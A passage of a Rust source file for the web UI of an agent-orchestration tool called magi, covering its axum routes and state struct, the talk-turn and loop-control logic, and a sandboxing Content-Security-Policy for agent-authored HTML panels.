Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
135pub const DEFAULT_PORT: u16 = 7878;
136
137/// How often the change stream restats the queue and the runs directory.
138const POLL: Duration = Duration::from_secs(1);
139
140/// Keep-alive interval for the change stream. Phones and intermediaries drop
141/// an idle connection within a minute; a comment every fifteen seconds keeps
142/// the stream alive without waking the radio often enough to matter.
143const KEEPALIVE: Duration = Duration::from_secs(15);
144
145/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
146///
147/// A fixed period this long would not track a `[update] interval` shorter
148/// than itself: an operator who set `interval = "1m"` to make the deck
149/// notice a release within a minute would still wait up to fifteen of them
150/// for the next wake-up to even ask [`updater::Checker::should_check`].
151/// [`recheck_poll_period`] scales the sleep with the configured interval
152/// instead, and this is only its ceiling - reached at the default interval
153/// of a day, where waking any more often would just spend cycles asking a
154/// question that stays "no" for hours.
155const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157/// Floor on the same, so a very short `[update] interval` cannot spin
158/// [`run_update_recheck`] in a near-busy loop.
159const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161/// Runs returned when the client does not ask, and the ceiling if it asks for
162/// more. The cap exists because the list handler parses every `run.json` it
163/// returns, and a phone cannot render two thousand rows anyway.
164const LIST_DEFAULT: usize = 50;
165/// Upper bound for `?limit=`.
166const LIST_MAX: usize = 500;
167
168/// Width of a generated task title, matching what the CLI uses.
169const TITLE_MAX: usize = 72;
170
171/// Per-file cap for an attachment upload.
172///
173/// Enforced twice: axum's own body limit is raised one byte above this, only
174/// on the two attachment `POST` routes (see the router - every other route
175/// keeps the crate-wide default), so an oversize body is still read far
176/// enough to answer with our own message below rather than axum's generic
177/// one; this constant is what that message and the boundary check actually
178/// compare against.
179const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181/// The image types an attachment upload accepts - a closed whitelist, the
182/// same posture [`asset_content_type`] takes for panel assets and for the
183/// same reason: SVG is excluded on purpose because it is active content
184/// (it may carry `<script>`) and not merely a picture, so it never appears
185/// here even though `image/svg+xml` is a real IANA type.
186const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188/// Header carrying the operator's own filename. Free text, stored only for
189/// display - see [`talk::Attachment::name`]'s doc on why it never
190/// contributes to a path.
191const FILENAME_HEADER: &str = "x-filename";
192
193/// The header that makes serving agent-authored HTML defensible, sent by both
194/// panel routes and asserted verbatim by a test.
195///
196/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
197/// denies every fetch destination that is not re-allowed below, which is all of
198/// them except images and fonts; `img-src 'self' data:` means an image comes
199/// from magi's own asset route or from the document itself, so a panel cannot
200/// signal an outside server by pointing an `<img>` at it - the classic
201/// exfiltration channel for markup that cannot run script. `style-src
202/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
203/// free formatting means here and a style sheet cannot make a request that
204/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
205/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
206/// stops a form posting the owner's decision to a third party, and
207/// `frame-ancestors 'self'` stops another site framing the panel to phish with
208/// it.
209///
210/// There is deliberately no `script-src`: `default-src 'none'` already covers
211/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
212/// denied twice over. Weakening any directive here is the difference between a
213/// panel the owner reads and a page that can talk to the tailnet, which is why
214/// the test compares the whole string rather than looking for a substring.
215const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216                         font-src data:; base-uri 'none'; form-action 'none'; \
217                         frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223/// Which address to listen on.
224#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226    /// Ask Tailscale, and fall back to loopback with a warning.
227    Auto,
228    /// An address the operator named.
229    Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233    type Err = String;
234
235    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
236    /// the CLI can take `--bind` straight into it: the one spelling of
237    /// `auto` that matters is the one this function knows.
238    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239        if s.eq_ignore_ascii_case("auto") {
240            return Ok(Self::Auto);
241        }
242        s.parse()
243            .map(Self::Addr)
244            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245    }
246}
247
248impl std::fmt::Display for Bind {
249    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250        match self {
251            Self::Auto => f.write_str("auto"),
252            Self::Addr(addr) => write!(f, "{addr}"),
253        }
254    }
255}
256
257/// How to serve.
258#[derive(Debug, Clone)]
259pub struct Opts {
260    /// Address to listen on.
261    pub bind: Bind,
262    /// Port to listen on.
263    pub port: u16,
264    /// Repository used for tasks posted without one.
265    pub repo: PathBuf,
266    /// Print the URL on its own line for a caller that wants to hand it to a
267    /// browser. magi never launches one itself.
268    pub open: bool,
269    /// Merge mode override for the loop this process runs (`none`, `local`,
270    /// `pr`); `None` leaves it to each repository's own config.
271    ///
272    /// The same override `magi serve --merge` takes, and here for the same
273    /// reason: `magi web` is now the thing that runs the loop, so an operator
274    /// who wants this session's runs to open pull requests has to be able to
275    /// say so without going back to the command they no longer type.
276    pub merge: Option<String>,
277}
278
279impl Default for Opts {
280    fn default() -> Self {
281        Self {
282            bind: Bind::Auto,
283            port: DEFAULT_PORT,
284            repo: PathBuf::from("."),
285            open: false,
286            merge: None,
287        }
288    }
289}
290
291/// Everything the handlers touch.
292///
293/// The queue, the runs directory and the magi home are fields rather than
294/// process-global lookups so a test drives the real router against a temp
295/// directory instead of the operator's own history.
296#[derive(Debug, Clone)]
297pub struct Ui {
298    queue: Queue,
299    questions: Questions,
300    /// `<home>/notifications`, the bell's own store. Derived from `home` in
301    /// [`Ui::new`] so no constructor signature had to grow.
302    notices: Notices,
303    talks: Talks,
304    runs: PathBuf,
305    home: PathBuf,
306    repo: PathBuf,
307    /// Where the runs' worktrees live, for the health disk figures.
308    ///
309    /// Spelled independently of [`crate::run::default_worktree_root`] so the
310    /// test servers can point it at their own temp directory: the health route
311    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
312    /// be measuring the machine instead of the server.
313    worktrees_root: PathBuf,
314    /// Talks with an agent turn in flight right now.
315    ///
316    /// In-process and therefore not durable, which is correct: it guards
317    /// against two taps on one phone and two phones on one tailnet, both of
318    /// which are this process's own concurrency. A second `magi web` would not
319    /// see it, and a second `magi web` on the same home is already a
320    /// misconfiguration the queue's claims would catch first.
321    talk_turns: Arc<Mutex<TalkTurns>>,
322    /// Held by `POST /api/upgrade` from its busy-stage check until the first
323    /// progress record is written, so two taps cannot both start an upgrade.
324    /// After that `upgrade.json` carries the exclusion.
325    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
327    /// exclusion in memory for when `upgrade.json` could not be written.
328    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329    /// Runs this process is resuming right now.
330    ///
331    /// Separate from `talk_turns` because a run and a talk are different
332    /// things to hold, and a resume is far more expensive to start twice: it
333    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
334    /// guards two taps and two phones, which is this process's own
335    /// concurrency.
336    resuming: Arc<Mutex<HashSet<String>>>,
337    /// The last scan of `[repos] roots`, and when it happened. Shared across
338    /// requests so polling `GET /api/repos` repeatedly does not repeat the
339    /// filesystem walk every time - see [`repos::Cache`].
340    repos_cache: repos::Cache,
341    /// The machine-config file the settings screen reads and writes: always
342    /// [`Config::machine_layer`], never anything a request names. A field so a
343    /// test can point it at its own temp directory instead of the operator's.
344    machine_config: Option<PathBuf>,
345    /// Merge mode override handed to the loop this process starts.
346    merge: Option<String>,
347    /// The loop this process is running, if it is running one.
348    looping: Arc<Mutex<LoopState>>,
349    /// How a loop is actually started.
350    ///
351    /// A field rather than a direct call to [`daemon::serve_until`], because
352    /// the real loop resolves its queue and its status file through the
353    /// process-global magi home and claims whatever it finds there. A test
354    /// that started it would reach straight past its own temp directory into
355    /// the operator's live queue, overwrite the status file of the `magi
356    /// serve` that owns it, and spend real agent quota on a real competition.
357    /// What the routes have to get right is the bookkeeping, so the tests
358    /// drive the routes against a loop that only starts and stops; production
359    /// is [`launch_daemon`] and nothing reassigns it.
360    launch: Launch,
361    /// A test-only stop point inside `talk_say`'s busy branch. See
362    /// [`BusyQueueGate`].
363    #[cfg(test)]
364    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367/// A one-shot stop point the busy branch's queued-draft write can be made to
368/// pause at, right before [`talk::queue`] runs.
369///
370/// Exists because a test cannot otherwise pin *when*, relative to the turn
371/// slot being freed, that write happens: `blocking` runs it on
372/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
373/// already finished, so counting polls on the handler future to park it at a
374/// particular `.await` is a guess about scheduling, not a fact about it - see
375/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
376/// used to do exactly that and paid for it with an occasional "async fn
377/// resumed after completion" panic under load.
378///
379/// `reached` fires the instant the write is about to run, so a test waits for
380/// a real event instead of a poll count. `release` then blocks the write
381/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
382/// rather than an async channel because this all happens inside the
383/// `spawn_blocking` closure the write already runs on, off any runtime
384/// worker, so blocking here costs nothing the write was not already going to
385/// cost.
386#[cfg(test)]
387struct BusyQueueGate {
388    reached: tokio::sync::oneshot::Sender<()>,
389    release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396    }
397}
398
399impl Ui {
400    /// A server over explicit paths.
401    pub fn new(
402        queue: Queue,
403        questions: Questions,
404        talks: Talks,
405        runs: PathBuf,
406        home: PathBuf,
407        repo: PathBuf,
408    ) -> Self {
409        Self {
410            queue,
411            questions,
412            notices: Notices::at(home.join("notifications")),
413            talks,
414            runs,
415            home,
416            repo,
417            // The default location, overridden by `with_worktrees_root` - a
418            // builder step rather than a ninth parameter, for the reason
419            // `with_merge` gives.
420            worktrees_root: run::default_worktree_root(),
421            talk_turns: Arc::default(),
422            upgrade_gate: Arc::default(),
423            upgrade_spawned: Arc::default(),
424            resuming: Arc::default(),
425            repos_cache: repos::Cache::new(),
426            machine_config: Config::machine_layer(),
427            merge: None,
428            looping: Arc::default(),
429            launch: launch_daemon,
430            #[cfg(test)]
431            busy_queue_gate: Arc::default(),
432        }
433    }
434
435    /// The operator's own state: `<home>/queue`, `<home>/questions`,
436    /// `<home>/talks`, `<home>/runs`.
437    pub fn open(repo: PathBuf) -> Self {
438        Self::new(
439            Queue::open(),
440            Questions::open(),
441            Talks::open(),
442            run::runs_root(),
443            run::home(),
444            repo,
445        )
446    }
447
448    /// The merge mode the loop should use, as the command line gave it.
449    ///
450    /// A builder step rather than a seventh parameter on [`Ui::new`], because
451    /// the override is a property of how this process was invoked and not of
452    /// where its state lives - which is all the tests that build a `Ui` by
453    /// hand are saying.
454    #[must_use]
455    pub fn with_merge(mut self, merge: Option<String>) -> Self {
456        self.merge = merge;
457        self
458    }
459
460    /// The machine-config file the settings screen writes, when it is not
461    /// [`Config::machine_layer`] (tests).
462    #[cfg(test)]
463    #[must_use]
464    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465        self.machine_config = path;
466        self
467    }
468
469    /// Where the runs' worktrees live, when it is not the default.
470    ///
471    /// The health view sizes this directory, so a test that leaves it at the
472    /// default would be measuring the operator's own machine.
473    #[must_use]
474    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475        self.worktrees_root = root;
476        self
477    }
478
479    /// Point the loop at something other than [`launch_daemon`].
480    ///
481    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
482    /// this crate may start the real loop.
483    #[cfg(test)]
484    #[must_use]
485    fn with_launch(mut self, launch: Launch) -> Self {
486        self.launch = launch;
487        self
488    }
489
490    /// Install a [`BusyQueueGate`] for the next pass through the busy
491    /// branch's queued-draft write, replacing any earlier one.
492    ///
493    /// A setter on `&self` rather than a `with_*` builder consumed once,
494    /// because a test that drives the busy branch more than once (as
495    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
496    /// to build confidence the interleaving is handled deterministically and
497    /// not just on a lucky run) needs a fresh channel pair each time, on the
498    /// one `Ui` it already built its temp directories around.
499    #[cfg(test)]
500    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501        *self
502            .busy_queue_gate
503            .lock()
504            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505    }
506
507    /// The loop's state, for [`serve`]'s own way out.
508    fn looping(&self) -> Arc<Mutex<LoopState>> {
509        Arc::clone(&self.looping)
510    }
511
512    /// Start the loop in this process, or say who already has one.
513    ///
514    /// `foreign` is passed in rather than read here so that one request makes
515    /// one judgement about who owns the loop: reading the status file again
516    /// inside this function could refuse a start for a daemon the same
517    /// response then reports as gone.
518    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519        if let Some(other) = foreign {
520            return Err(ApiError::conflict(format!(
521                "{} is already running the loop, so this one will not start a \
522                 second: two loops on one queue race for the same claims and \
523                 burn the agent quota twice over. Stop it where it was \
524                 started.",
525                other.who()
526            )));
527        }
528        let mut state = self.lock_loop();
529        if state.live.as_ref().is_some_and(Live::alive) {
530            return Err(ApiError::conflict(format!(
531                "this magi web process (pid {}) is already running the loop",
532                std::process::id()
533            )));
534        }
535
536        let stop = daemon::Stop::new();
537        // The CLI's own defaults for everything the UI has no opinion about:
538        // one poll interval and one retry budget, so a loop started from a
539        // phone behaves exactly like the `magi serve` it replaces.
540        let opts = daemon::Opts {
541            repo: self.repo.clone(),
542            merge: self.merge.clone(),
543            // Whatever this `Ui` already reports worktree sizes and folds
544            // against (see `with_worktrees_root`) is what the loop it starts
545            // must reclaim orphaned worktrees under too - two different
546            // opinions about where the worktree bay is would leave the
547            // janitor pass reclaiming a directory nothing else on this
548            // process is even looking at.
549            worktrees_root: Some(self.worktrees_root.clone()),
550            ..daemon::Opts::default()
551        };
552        let launch = self.launch;
553        let looping = Arc::clone(&self.looping);
554        let handle = tokio::spawn({
555            let opts = opts.clone();
556            let stop = stop.clone();
557            async move {
558                let failure = match launch(opts, stop).await {
559                    Ok(()) => None,
560                    Err(e) => Some(format!("{e:#}")),
561                };
562                match &failure {
563                    Some(why) => tracing::error!("the loop stopped: {why}"),
564                    None => tracing::info!("the loop stopped"),
565                }
566                // Recorded by the task itself rather than reaped by whichever
567                // request happens next, so `loop_rev` moves the moment the
568                // loop ends and a phone with the change stream open learns
569                // that it did. Clearing `live` drops this task's own handle,
570                // which only detaches it, and is the last thing it does.
571                let mut state = lock_or_recover(&looping);
572                state.live = None;
573                state.last_error = failure;
574                state.rev += 1;
575            }
576        });
577        tracing::info!(
578            "the loop is now running in this process: repo {}, merge {}",
579            opts.repo.display(),
580            opts.merge.as_deref().unwrap_or("as the config says")
581        );
582        state.live = Some(Live { stop, handle, opts });
583        // A fresh start is not the place to keep showing why the last one
584        // died; the operator has read it and pressed the button anyway.
585        state.last_error = None;
586        state.rev += 1;
587        Ok(())
588    }
589
590    /// Ask the loop to stop, without waiting for it to get there.
591    ///
592    /// Idempotent: a second tap on stop is not an error, because the first one
593    /// leaves the loop running for as long as the run in flight takes and the
594    /// operator has no way to tell a slow stop from a lost one.
595    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596        if let Some(other) = foreign {
597            return Err(ApiError::conflict(format!(
598                "the loop belongs to {}, and this process cannot stop it - \
599                 stop it where it was started. A button that silently did \
600                 nothing would be worse than this refusal.",
601                other.who()
602            )));
603        }
604        let mut state = self.lock_loop();
605        // An operator who stops the loop has decided it stays stopped, even
606        // across an upgrade that was already in flight.
607        if !park {
608            state.resume_after_handover = false;
609        }
610        let Some(live) = state.live.as_ref() else {
611            return Ok(());
612        };
613        // A park upgrades a stop that has already been asked for: the
614        // operator who tapped "stop" and then realised the run has an hour
615        // left must not have to restart the loop to change their mind.
616        if live.stop.stopped() && (!park || live.stop.parking()) {
617            return Ok(());
618        }
619        if park {
620            live.stop.park(crate::run::ParkCause::Operator);
621            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622        } else {
623            live.stop.stop();
624            tracing::info!("the loop was asked to stop; a run in flight is finished first");
625        }
626        state.rev += 1;
627        Ok(())
628    }
629
630    /// The loop as both `/api/loop` and `/api/health` report it.
631    ///
632    /// `reading` is the caller's single read of `<home>/daemon.json`, because
633    /// health answers with this view *and* the daemon object beside it: one
634    /// read per response is what stops a single answer naming a foreign owner
635    /// in one field and calling the loop free in the other.
636    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637        let state = self.lock_loop();
638        // A loop that panicked never recorded its own end, so the handle -
639        // not the presence of the record - is what "running" means.
640        let live = state.live.as_ref().filter(|live| live.alive());
641        LoopView {
642            running: live.is_some(),
643            stopping: live.is_some_and(|live| live.stop.finishing()),
644            parking: live.is_some_and(|live| live.stop.parking()),
645            owned: live.is_some(),
646            repo: live
647                .map_or(&self.repo, |live| &live.opts.repo)
648                .display()
649                .to_string(),
650            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651            last_error: state.last_error.clone(),
652            daemon: DaemonView::of(reading),
653        }
654    }
655
656    /// Start the loop in a successor whose predecessor was running one.
657    ///
658    /// Goes through the same path as the UI's start-loop action. A refusal
659    /// (another process owns the loop) is logged and left in `last_error`;
660    /// the loop then simply stays stopped.
661    fn resume_after_handover(&self, resume: bool) -> bool {
662        if !resume {
663            return false;
664        }
665        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666        match self.start_loop(foreign) {
667            Ok(()) => true,
668            Err(e) => {
669                let why = format!(
670                    "the loop could not be resumed after the upgrade: {}",
671                    e.message
672                );
673                tracing::warn!("{why}");
674                let mut state = self.lock_loop();
675                state.last_error = Some(why);
676                state.rev += 1;
677                false
678            }
679        }
680    }
681
682    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
683    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684        lock_or_recover(&self.looping)
685    }
686
687    /// Whether this process currently owns the agent turn for `id`.
688    ///
689    /// This deliberately describes only the in-memory claim made by
690    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
691    /// never persisted with a [`Talk`].
692    fn is_thinking(&self, id: &str) -> bool {
693        self.talk_turns
694            .lock()
695            .is_ok_and(|turns| turns.live.contains(id))
696            // Another process (the CLI) can hold the turn through the
697            // on-disk lease.
698            || self.talks.turn_held(id)
699    }
700
701    /// Claim the right to run one turn in a talk, or report that it is busy.
702    ///
703    /// A talk is strictly turn-based: the agent is resumed with the
704    /// conversation it already has, so two turns running at once would resume
705    /// the same session twice and append their answers in whatever order the
706    /// two CLIs finished in. The operator would come back to a transcript
707    /// with two half-turns interleaved, which is unreadable and, worse,
708    /// unfixable - there is no undo for a persisted turn.
709    ///
710    /// A busy result is queued as a durable draft by [`talk_say`], rather than
711    /// starting a second CLI invocation for the same session.
712    ///
713    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
714    /// taken to test-and-insert and released before the agent is spawned. The
715    /// returned guard removes the id on drop, which is what makes a panicking
716    /// handler or a phone that walks out of range leave the talk usable - axum
717    /// drops the handler future when the client disconnects, and without the
718    /// guard that talk would be wedged until the server restarted.
719    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720        self.claim_talk_turn(id, false)
721    }
722
723    /// Claim a turn after durably queueing a draft, or notify its current
724    /// owner that a drainer must recheck before it releases the slot.
725    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726        self.claim_talk_turn(id, true)
727    }
728
729    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730        let mut live = self
731            .talk_turns
732            .lock()
733            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734        if live.parking {
735            if queued {
736                // The draft is already durable; nothing may drain it until
737                // the successor is up, so the caller sees a busy slot.
738                *live.queued.entry(id.to_owned()).or_default() += 1;
739                return Ok(None);
740            }
741            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742        }
743        let inserted = live.live.insert(id.to_owned());
744        // The on-disk lease is the cross-process half of the gate. Taken
745        // second, and undone if lost, so `live` never claims a turn the lease
746        // refused.
747        let lease = if inserted {
748            match self.talks.claim_turn(id) {
749                Ok(Some(lease)) => Some(lease),
750                Ok(None) => {
751                    live.live.remove(id);
752                    None
753                }
754                Err(e) => {
755                    live.live.remove(id);
756                    return Err(ApiError::from(e));
757                }
758            }
759        } else {
760            None
761        };
762        if lease.is_none() {
763            if queued {
764                // A queued write has landed before this busy check.
765                // `drain_loop` uses this generation to recheck after its
766                // off-thread disk read, so it cannot release a turn between
767                // this check and the write.
768                *live.queued.entry(id.to_owned()).or_default() += 1;
769            }
770            return Ok(None);
771        }
772        Ok(Some(TalkTurnGuard {
773            talk: id.to_owned(),
774            turns: Arc::clone(&self.talk_turns),
775            released: false,
776            lease,
777        }))
778    }
779
780    /// Decide whether a free talk may start a new immediate turn while its
781    /// claim lock is held. A persisted draft without an owner is recovery
782    /// state, not a busy turn: two simultaneous `/say` requests must both
783    /// leave it untouched rather than one of them appending to it.
784    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785        let mut live = self
786            .talk_turns
787            .lock()
788            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789        // Same answer as a running turn: the text is queued as a draft.
790        if live.parking || live.live.contains(id) {
791            return Ok(TalkTurnStart::Busy);
792        }
793        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794            return Ok(TalkTurnStart::Foreign);
795        };
796        // A refused `Pending` below drops the lease again.
797        let talk = self.talks.get(id).map_err(ApiError::from)?;
798        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799            return Ok(TalkTurnStart::Pending);
800        }
801        live.live.insert(id.to_owned());
802        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803            talk: id.to_owned(),
804            turns: Arc::clone(&self.talk_turns),
805            released: false,
806            lease: Some(lease),
807        }))
808    }
809
810    fn queued_generation(&self, id: &str) -> u64 {
811        let live = self
812            .talk_turns
813            .lock()
814            .unwrap_or_else(PoisonError::into_inner);
815        live.queued.get(id).copied().unwrap_or(0)
816    }
817
818    /// The shared turn slots, for the upgrade hand-over to wait on.
819    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820        Arc::clone(&self.talk_turns)
821    }
822
823    /// Park the loop for an upgrade, and report the run that is parking.
824    ///
825    /// A park rather than a stop: a stop waits out the whole competition, and
826    /// not waiting is the point of upgrading from a phone. `None` means
827    /// nothing was in flight, which is worth saying so the operator is not
828    /// told a run is parking when none is.
829    fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
830        let parking = {
831            let mut state = self.lock_loop();
832            // Decided here, before the park: by the time the handover fires
833            // an idle loop has already seen the park and ended, so `live`
834            // would read as "was never running". A loop the operator had
835            // already stopped stays stopped.
836            //
837            // Sticky: a second upgrade request finds the loop already
838            // stopping because of the first one's park, and must not read
839            // that as the operator having stopped it. Only an explicit stop
840            // or a failed update clears an earlier intent.
841            let resume = state.resume_after_handover
842                || state
843                    .live
844                    .as_ref()
845                    .is_some_and(|live| live.alive() && !live.stop.stopped());
846            state.resume_after_handover = resume;
847            let Some(live) = state.live.as_ref() else {
848                return Ok(None);
849            };
850            let busy = live.stop.busy_now();
851            live.stop.park(crate::run::ParkCause::Upgrade {
852                from: from.to_owned(),
853                to: to.map(|t| t.trim_start_matches('v').to_owned()),
854            });
855            state.rev += 1;
856            busy
857        };
858        Ok(if parking {
859            // More than one run can be in flight now (see
860            // `Config::daemon.max_concurrent_runs`); this answer names one of
861            // them so the operator sees a park actually happened, not every
862            // run a park now asks to stop at its next boundary.
863            daemon::current_work(&self.home, jiff::Timestamp::now())
864                .into_iter()
865                .next()
866                .map(|c| c.run)
867        } else {
868            None
869        })
870    }
871
872    /// Claim a run for a resume, on the same reasoning as
873    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
874    /// disconnected phone does not wedge the run until the server restarts.
